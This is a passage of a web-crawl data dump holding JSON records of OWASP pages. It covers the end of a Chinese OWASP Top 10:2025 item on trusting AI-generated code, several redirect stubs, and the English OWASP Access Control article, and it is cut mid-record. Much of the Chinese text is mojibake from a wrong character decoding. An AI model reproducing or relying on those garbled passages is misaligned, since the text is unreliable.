对指针类型使用 `sizeof()`](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 越界写入](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 访问缓冲区末尾之后的内存位置](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 访问未初始化指针](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 不当信任 AI ç”ŸćˆäťŁç ďźˆâ€œć°›ĺ›´çź–ç¨‹â€ďź‰\n\n### 背景\n\n当前全世界都在讨论并使用 AI,软件开发人员也不例外。虽然目前还没有与 AI ç”ŸćˆäťŁç ç›¸ĺ…łçš„ CVE 或 CWE,但已有充分记录表明,AI ç”ŸćˆäťŁç ĺž€ĺž€ćŻ”äşşçąťçź–ĺ†™çš„äťŁç ĺŒ…ĺŤć›´ĺ¤šćźć´žă€‚\n\n### 描述\n\n我们看到软件开发实践正在变化,不仅包括在 AI ĺĺŠŠä¸‹çź–ĺ†™äťŁç ďźŒčż˜ĺŒ…ć‹Źĺ‡ äšŽĺŽŒĺ…¨ć˛Ąćœ‰äşşĺˇĽç›‘çŁĺ°ąçź–ĺ†™ĺšśćäş¤çš„äťŁç ďźˆé€šĺ¸¸ç§°ä¸şć°›ĺ›´çź–ç¨‹ďź‰ă€‚ĺ°ąĺƒčż‡ĺŽťä¸ĺŠ ć€č€ƒĺœ°äťŽĺšĺŽ˘ćˆ–ç˝‘çŤ™ĺ¤ĺˆśäťŁç ç‰‡ćŽľäťŽćĽä¸ć˜ŻĺĽ˝ä¸ťć„ä¸€ć ˇďźŒĺœ¨čż™ç§ćƒ…ĺ†ľä¸‹é—Žé˘˜äźšč˘Ťć”žĺ¤§ă€‚ĺĽ˝çš„ă€ĺŽ‰ĺ…¨çš„äťŁç ç‰‡ćŽľčż‡ĺŽťĺ’ŒçŽ°ĺœ¨éƒ˝ĺžˆĺ°‘č§ďźŒĺšśä¸”ç”ąäşŽçłťçťŸçşŚćŸďźŒAI 在统计上可能忽略它们。\n\n### 如何预防\n\nćˆ‘äťŹć•Śäżƒć‰€ćœ‰çź–ĺ†™äťŁç çš„äşşĺœ¨ä˝żç”¨ AI 时考虑以下事项:\n\n- ä˝ ĺş”čƒ˝ĺ¤Ÿé˜…čŻťĺšśĺŽŒĺ…¨ç†č§Łč‡Şĺˇąćäş¤çš„ć‰€ćœ‰äťŁç ďźŒĺłä˝żčż™äş›äťŁç ç”ą AI çź–ĺ†™ćˆ–äťŽĺœ¨çşżčŽşĺ›ĺ¤ĺˆśă€‚ä˝ čŚĺŻšč‡Şĺˇąćäş¤çš„ć‰€ćœ‰äťŁç č´Ÿč´Łă€‚\n- 应彻底审查所有 AI čž…ĺŠŠäťŁç ä¸­çš„ćźć´žďźŒç†ćƒłćƒ…ĺ†ľä¸‹ć—˘čŚč‡ŞĺˇąćŸĽçœ‹ďźŒäšŸčŚä˝żç”¨ä¸şć­¤ç›Žçš„čŽžčŽĄçš„ĺŽ‰ĺ…¨ĺˇĽĺ…ˇďźˆäž‹ĺŚ‚é™ć€ĺˆ†ćžďź‰ă€‚č€ƒč™‘ä˝żç”¨ [OWASP Cheat Sheet Series: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) ä¸­ćčż°çš„çťĺ…¸äťŁç ĺŽĄćŸĽćŠ€ćœŻă€‚\n- ç†ćƒłćƒ…ĺ†ľä¸‹ďźŒč‡Şĺˇąçź–ĺ†™äťŁç ďźŒčŽŠ AI 提出改进建议,检查 AI çš„äťŁç ďźŒĺšśčŽŠ AI äżŽć­ŁďźŒç›´ĺˆ°ä˝ ĺŻšçť“ćžœćťĄć„ă€‚\n- 考虑使用 Retrieval Augmented GenerationRAGďź‰ćœĺŠĄĺ™¨ďźŒć”žĺ…Ľä˝ č‡Şĺˇąć”śé›†ĺšśĺŽĄćŸĽčż‡çš„ĺŽ‰ĺ…¨äťŁç ç¤şäž‹ĺ’Œć–‡ćĄŁďźŒäž‹ĺŚ‚çť„çť‡çš„ĺŽ‰ĺ…¨çź–ç ćŒ‡ĺ—ă€ć ‡ĺ‡†ćˆ–ç­–ç•ĽďźŒĺšśčŽŠ RAG ćœĺŠĄĺ™¨ć‰§čĄŒäťťä˝•ç­–ç•Ľćˆ–ć ‡ĺ‡†ă€‚\n- 考虑购买为所选 AI ĺŽžć–˝éšç§ĺ’ŒĺŽ‰ĺ…¨ćŠ¤ć çš„ĺˇĽĺ…ˇă€‚\n- 考虑购买私有 AI,理想情况下签订合同协议(包括隐私协议),明确 AI ä¸äźšä˝żç”¨çť„çť‡çš„ć•°ćŽă€ćŸĽčŻ˘ă€äťŁç ćˆ–äťťä˝•ĺ…śäť–ć•ć„ŸäżĄćŻčż›čĄŒčŽ­çťƒă€‚\n- 考虑在 IDE 和 AI 之间实现 Model Context ProtocolMCP)服务器,并配置它来强制使用组织所选的安全工具。\n- 将策略和流程纳入 SDLC,告知开发人员(以及所有员工)在组织内应如何使用和不应如何使用 AI。\n- 创建一份优秀且有效的提示词列表,考虑 IT ĺŽ‰ĺ…¨ćœ€ä˝łĺŽžčˇľă€‚ç†ćƒłćƒ…ĺ†ľä¸‹ďźŒĺŽƒäťŹäšŸĺş”č€ƒč™‘ĺ†…éƒ¨ĺŽ‰ĺ…¨çź–ç ćŒ‡ĺ—ă€‚ĺź€ĺ‘äşşĺ‘˜ĺŻäťĽćŠŠčż™äş›ćç¤şčŻä˝œä¸şĺ…śç¨‹ĺşçš„čľˇç‚šă€‚\n- AI 很可能成为系统开发生命周期每个阶段的一部分,既包括如何有效使用,也包括如何安全使用。请明智使用。\n- 实际上, **不** 建议在复杂功能、业务关键程序或长期使用的程序中使用氛围编程。\n- 实施技术检查和保护措施,防止使用影子 AI。\n- 对开发人员进行组织策略、安全 AI 使用方式以及软件开发中 AI 最佳实践的培训。\n\n### 参考资料\n\n- [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### ć˜ ĺ°„çš„ CWE 列表\n\n-ć— -", "znaku_textu": 18909, "slov": 928, "odkazu": 125, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:29", "sha256": "cb230d3eb80a5df0056e58a870b806ca3055205486d7487ac7ebe6cc88ed3402", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/A01_2021-Broken_Access_Control/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/A01_2021-Broken_Access_Control/index.html)...", "znaku_textu": 92, "slov": 6, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:14", "sha256": "fb892998a8b68c18a2aa57cbe41aec2d7ffe97736aaea454301bf268c3177176", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/index.html)...", "znaku_textu": 105, "slov": 6, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:30", "sha256": "0fda5443f493d8979433f09704a9405b1f261b9748646d1cb673b52585ea27b9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/A07_2021-Identification_and_Authentication_Failures/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/A07_2021-Identification_and_Authentication_Failures/index.html)...", "znaku_textu": 113, "slov": 6, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:31", "sha256": "1cfb88b145d7dac03a4a59e40f8f29ce529b3612a2f5da7ee5cc8e83d0170638", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/A09_2021-Security_Logging_and_Monitoring_Failures/index.html)...", "znaku_textu": 111, "slov": 6, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:32", "sha256": "eb4e7963dc0c4a6e8934e1abd9fa896b844278bb25f6e022f353327d4df756b9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/ar/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/ar/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/ar/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:50", "sha256": "ff18b6a24a64fda3845ca5a39d5d8392ca390b30f320e969e027c1ca5759adc8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/es/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/es/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/es/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:50", "sha256": "91e3983f0d1b4e8646e71a1084e4d2fc755673d82463ededd60caa0006414931", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/fr/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/fr/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/fr/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:51", "sha256": "47dce750b4186b21e31b981e26fc538d4e284976640557039397325698c22e03", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/id/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/id/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/id/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:52", "sha256": "21aea096052c6b90cf3e4206ca1bd0f7bdb74413f9f03c671ca5aeea0bc2a706", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/it/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/it/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/it/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:53", "sha256": "f2a6ca0ea76feb3033093fd9f8c7713999654e75bca56c6387977f185469aa6d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/ja/", "titulek": "Redirecting...", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "/Top10/2021/ja/index.html", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to [OWASP Top 10:2021](/Top10/2021/ja/index.html)...", "znaku_textu": 64, "slov": 5, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:54", "sha256": "828d4a3c5eec66b698e1007a36f64b013ba69b3cf27c4c04abf7d9ec6216e2cc", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/www-community/Access_Control", "titulek": "Access Control | OWASP Foundation", "h1": "Access Control", "popis": "Access Control on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Access_Control", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Access Control on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Access Control | OWASP Foundation", "og:url": "https://community.owasp.org/Access_Control", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Access Control"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Definition"}, {"uroven": 2, "text": "Principle of Least Privilege"}, {"uroven": 2, "text": "Centralized Authorization Routines"}, {"uroven": 2, "text": "Controlling Access to Protected Resources"}, {"uroven": 2, "text": "Some Generic Types of Access Controls:"}, {"uroven": 2, "text": "Access Control Models:"}, {"uroven": 2, "text": "Examples of Access Controls in Software:"}], "markdown": "# Access Control\n\n## Overview\n\nAccess Control, also known as Authorization — is mediating access to\nresources on the basis of identity and is generally policy-driven\n(although the policy may be implicit). It is the primary security\nservice that concerns most software, with most of the other security\nservices supporting it. For example, access control decisions are\ngenerally enforced on the basis of a user-specific policy, and\nauthentication is the way to establish the user in question. Similarly,\nconfidentiality is really a manifestation of access control,\nspecifically the ability to read data. Since, in computer security,\nconfidentiality is often synonymous with encryption, it becomes a\ntechnique for enforcing an access-control policy.\n\nPolicies that are to be enforced by an access-control mechanism\ngenerally operate on sets of resources; the policy may differ for\nindividual actions that may be performed on those resources\n(capabilities). For example, common capabilities for a file on a file\nsystem are: read, write, execute, create, and delete. However, there are\nother operations that could be considered “meta-operations” that are\noften overlooked — particularly reading and writing file attributes,\nsetting file ownership, and establishing access control policy to any of\nthese operations.\n\nOften, resources are overlooked when implementing access control\nsystems. For example, buffer overflows are a failure in enforcing\nwrite-access on specific areas of memory. Often, a buffer overflow\nexploit also accesses the CPU in a manner that is implicitly\nunauthorized as well.\n\n## Definition\n\nAccess control and Authorization mean the same thing. Access control\ngoverns decisions and processes of determining, documenting and managing\nthe subjects (users, devices or processes) that should be granted access\nand the objects to which they should be granted access; essentially,\nwhat is allowed. Access controls also govern the methods and conditions\nof enforcement by which subjects (users, devices or processes) are\nallowed to or restricted from connecting with, viewing, consuming,\nentering into or making use of identified information resources\n(objects).\n\n## Principle of Least Privilege\n\nIn security, the Principle of Least Privilege encourages system\ndesigners and implementers to allow running code only the permissions\nneeded to complete the required tasks and no more. When designing web\napplications, the capabilities attached to running code should be\nlimited in this manner. This spans the configuration of the web and\napplication servers through the business capabilities of business logic\ncomponents.\n\nFar too often, web and application servers run at too great a permission\nlevel. They execute using privileged accounts such as root in UNIX\nenvironment or LOCALSYSTEM in Windows environments. When web and\napplication servers run as root or LOCALSYSTEM, the processes and the\ncode on top of these processes run with all of the rights of these\nusers. Malicious code will execute with the authority of the privileged\naccount, thus increasing the possible damage from an exploit. Web and\napplication servers should be executed under accounts with minimal\npermissions.\n\nThe database accounts used by web applications often have privileges\nbeyond those actually required or advisable. Allowing web applications\nto use sa or other privileged database accounts destroys the database\nserver’s ability to defend against access to or modification of\nunauthorized resources. Accounts with db_owner equivalent privileges\nsuch as schema modification or unlimited data access typically have far\nmore access to the database than is required to implement application\nfunctionality. Web applications should use one or more lesser-privileged\naccounts that are prevented from making schema changes or sweeping\nchanges to or requests for data.\n\nThe J2EE and .NET platforms provide developers the ability to limit the\ncapabilities of code running inside of their virtual machines. Often web\napplications run in environments with AllPermission (Java) or FullTrust\n(.NET) turned on. This limits the ability of the virtual machine to\ncontrol the actions of code running under its control. Implementing code\naccess security measures is not only useful for mitigating risk when\nrunning untrusted code – it can also be used to limit the damage caused\nby compromises to otherwise trusted code.\n\nFinally, the business logic of web applications must be written with\nauthorization controls in mind. Once a user has authenticated to the\nrunning system, their access to resources should be limited based on\ntheir identity and roles. In addition, users’ attempts to perform\nactions should also be authorized. Both the J2EE and ASP.NET web\napplication platforms provide the ability to declaratively limit a\nuser’s access to web resources by their identity and roles (as\nconfigured in web.xml and web.config respectively). The J2EE platform\nprovides controls down to the method-level for limiting user access to\nthe capabilities of EJB components. By designing file resource layouts\nand components APIs with authorization in mind, these powerful\ncapabilities of the J2EE and .NET platforms can be used to enhance\nsecurity.\n\n## Centralized Authorization Routines\n\nA common mistake is to perform an authorization check by cutting and\npasting an authorization code snippet into every page containing\nsensitive information. Worse yet would be re-writing this code for every\npage. Well written applications centralize access control routines, so\nif any bugs are found, they can be fixed once and the results apply\nthroughout the application immediately.\n\n## Controlling Access to Protected Resources\n\nSome applications check to see if a user is able to undertake a\nparticular action, but then do not check if access to all resources\nrequired to complete the requested action is allowed. For example, forum\nsoftware may check to see if a user is allowed to reply to a previous\nmessage, but then fails to check that the requested message is not\nwithin a protected or hidden forum or thread. Another example would be\nan Internet Banking application that checks to see if a user is allowed\nto transfer money, but does not validate that the “from account” is one\nof the user’s accounts.\n\n## Some Generic Types of Access Controls:\n\nWhen thinking of access control, you might first think of the ability to\nlogin to a system or access files or a database. Access can be\ncontrolled, however, at various levels and with respect to a wide range\nof subjects and objects. Some examples include:\n\n- Network access - the ability to connect to a system or service;\n- At the host - access to operating system functionality;\n- Physical access - at locations housing information assets or\n physical access to the assets themselves;\n- Restricted functions - operations evaluated as having an elevated\n risk, such as financial transactions, changes to system\n configuration, or security administration.\n\nResource access may refer not only to files and database functionality,\nbut to:\n\n- applications or APIs;\n- specific application screens or functions;\n- specific data fields;\n- memory;\n- private or protected variables;\n- storage media;\n- transmission media;\n- In short, any object used in processing, storage or transmission of\n information.\n\n## Access Control Models:\n\n**Discretionary access controls** are based on the identity and\nneed-to-know of subjects and/or the groups to which they belong. They\nare discretionary in the sense that a subject with certain access\npermissions is capable of passing on that access, directly or\nindirectly, to other subjects.\n\n**Mandatory access controls** are based on the sensitivity of the\ninformation contained in the objects / resources and a formal\nauthorization. They are mandatory in the sense that they restrain\nsubjects from setting security attributes on an object and from passing\non their access.\n\nFrom the perspective of end-users of a system, access control should be\nmandatory whenever possible, as opposed to discretionary. Mandatory\naccess control means that the system establishes and enforces a policy\nfor user data, and the user does not get to make their own decisions of\nwho else in the system can access data. In discretionary access control,\nthe user can make such decisions. Enforcing a conservative mandatory\naccess control policy can help prevent operational security errors,\nwhere the end user does not understand the implications of granting\nparticular privileges. It usually keeps the system simpler as well.\n\nMandatory access control is also worth considering at the OS level,\nwhere the OS labels data going into an application and enforces an\nexternally defined access control policy whenever the application\nattempts to access system resources. While such technologies are only\napplicable in a few environments, they are particularly useful as a\ncompartmentalization mechanism, since — if a particular application gets\ncompromised — a good MAC system will prevent it from doing much damage\nto other applications running on the same machine.\n\n**Role-based access controls (RBAC)** are based on the roles played by\nusers and groups in organizational functions. Roles, alternatively\nreferred to as security groups, include collections of subjects that all\nshare common needs for access. Authorization for access is then provided\nto the role or group and inherited by members.\n\n**Attribute-based access control (ABAC)** is a newer paradigm based on\nproperties of an information exchange that may include identified\nattributes of the requesting entity, the resource requested, or the\ncontext of the exchange or the requested action. Some examples of\ncontextual attributes are things such as:\n\n- time of day;\n- location;\n- currently evaluated threat level;\n- required hygiene measures implemented on the respective hosts.\n\nIn general, in ABAC, a rules engine evaluates the identified attributes\nto issue an authorization decision.\n\n## Examples of Access Controls in Software:\n\n- Account management;\n- Mapping of user rights to business and process requirements;\n- Mechanisms that enforce policies over information flow;\n- Limits on the number of concurrent sessions;\n- Session lock after a period of inactivity;\n- Session termination after a period of inactivity, total time of use\n or time of day;\n- Limitations on the number of records returned from a query (data\n mining);\n- Features enforcing policies over segregation of duties;\n- Segregation and management of privileged user accounts;\n- Implementation of the principle of least privilege for granting\n access;\n- Requiring VPN (virtual private network) for access;\n- Dynamic reconfiguration of user interfaces based on authorization;\n- Restriction of access after a certain time of day.\n\n1. OWASP [Access Control Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 10906, "slov": 1636, "odkazu": 24, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:43", "sha256": "2f21e36dc27dfcf1acf0bb80bd3263a33b44b2337415177ce2d4ce9c44a5c28b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Application_Threat_Modeling", "titulek": "Redirecting…", "h1": "Redirecting…", "popis": "", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Threat_Modeling", "jazyk": "en-US", "robots_meta": "noindex", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Redirecting…"}], "markdown": "Redirecting… Redirecting… [Click here if you are not redirected.](https://community.owasp.org/Threat_Modeling)", "znaku_textu": 110, "slov": 9, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:43", "sha256": "8c6839ee534b69724d31c588644675d3218a8d047388f1ee8cd473fa3492682b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://community.owasp.org/Threat_Modeling"]} {"url": "https://owasp.org/www-community/Component_Analysis", "titulek": "Component Analysis | OWASP Foundation", "h1": "Component Analysis", "popis": "Component Analysis on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Component_Analysis", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Component Analysis on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Component Analysis | OWASP Foundation", "og:url": "https://community.owasp.org/Component_Analysis", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Component Analysis"}, {"uroven": 2, "text": "Common Risk Factors"}, {"uroven": 4, "text": "Component Inventory"}, {"uroven": 4, "text": "Component Age"}, {"uroven": 4, "text": "Outdated Components"}, {"uroven": 4, "text": "Known Vulnerabilities"}, {"uroven": 4, "text": "Component Type"}, {"uroven": 4, "text": "Component Function"}, {"uroven": 4, "text": "Component Quantity"}, {"uroven": 4, "text": "Repository Trust"}, {"uroven": 4, "text": "Provenance"}, {"uroven": 4, "text": "Pedigree"}, {"uroven": 4, "text": "Formulation"}, {"uroven": 4, "text": "License"}, {"uroven": 4, "text": "Inherited Risk"}, {"uroven": 4, "text": "Project Health"}, {"uroven": 4, "text": "External Services"}, {"uroven": 2, "text": "Software Bill of Materials (SBOM)"}, {"uroven": 2, "text": 